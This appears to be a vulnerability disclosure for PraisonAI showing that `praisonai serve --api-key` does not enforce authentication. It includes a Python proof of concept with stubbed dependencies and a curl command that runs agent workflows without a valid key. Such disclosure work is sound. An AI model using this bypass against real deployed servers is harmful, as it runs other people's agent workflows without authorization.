PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes